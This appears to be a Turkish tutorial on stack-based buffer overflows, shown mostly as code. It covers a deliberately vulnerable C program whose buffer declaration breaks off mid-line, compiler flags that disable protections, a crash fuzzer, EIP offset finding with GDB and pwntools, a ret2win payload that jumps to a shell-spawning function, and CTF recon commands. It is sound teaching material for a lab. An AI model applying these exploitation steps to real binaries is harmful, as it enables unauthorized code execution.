Buffer Overflow: Stack Tabanlı Saldırılar

// vuln.c
#include <stdio.h>
#include <string.h>
 
void secret() {
    system("/bin/bash");
}
 
void vuln() {
    char buf[

# Koruma mekanizmalarını kapatarak derle (lab ortamı)
gcc -m32 -fno-stack-protector -z execstack -no-pie \
  -o vuln vuln.c

# fuzzer.py — artan boyutta input gönder
import subprocess
 
for i in range(100, 500, 10):
    payload = b"A" * i
    result = subprocess.run(
        ["./vuln"],
        input=payload,
        capture_output=True
    )
    if result.returncode != 0:
        print(f"[+] Çöküş: {i} byte")
        break

# Benzersiz desen oluştur
python3 -c "
import string
pattern = ''
for i in string.ascii_uppercase:
    for j in string.ascii_lowercase:
        for k in string.digits:
            pattern += i+j+k
print(pattern[:300])
" > pattern.txt
 
# GDB ile çalıştır
gdb ./vuln
(gdb) run < pattern.txt
# Segfault sonrası EIP değerini not al: 0x41326941
 
# Offset'i hesapla — kendi GDB çıktınızdaki EIP değerini kullanın
python3 -c "
pattern = open('pattern.txt').read()
eip = 'Ai2A'   # örnek değer; GDB'deki 0x41326941'i little-endian byte sırasında ASCII olarak yazın
print(pattern.index(eip))
"
# Örnek çıktı: 76 — sizin offset'iniz farklı olabilir

from pwn import *
 
# Cyclic pattern
pattern = cyclic(200)
# Offset bul
offset = cyclic_find(0x41326941)
print(f"Offset: {offset}")  # 76

from pwn import *
 
offset = 76
payload = b"A" * offset + b"B" * 4  # EIP = 0x42424242
 
p = process("./vuln")
p.sendline(payload)
p.interactive()

from pwn import *
 
elf = ELF("./vuln")
offset = 76
 
# secret() fonksiyonunun adresi
win_addr = p32(elf.symbols["secret"])
 
payload = b"A" * offset + win_addr
 
p = process("./vuln")
p.sendline(payload)
p.interactive()

# Binary'nin korumalarını kontrol et
checksec --file=./vuln

# Kur
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
 
# Kullanım
gdb ./vuln
(gdb) run
(gdb) info registers          # register değerleri
(gdb) x/50x $esp              # stack içeriğini hex göster
(gdb) x/s 0xffffd120          # adresteki string
(gdb) disas vuln              # fonksiyonu disassemble et
(gdb) b *vuln+30              # breakpoint ekle
(gdb) ni                      # next instruction

# 1. Koruma seviyesini gör
checksec --file=./chal
 
# 2. Fonksiyonları listele
objdump -d ./chal | grep "<.*>:"
nm ./chal | grep " T "
 
# 3. String'leri tara
strings ./chal | grep -i "flag\|win\|shell"
 
# 4. Ltrace / strace ile davranış izle
ltrace ./chal
strace ./chal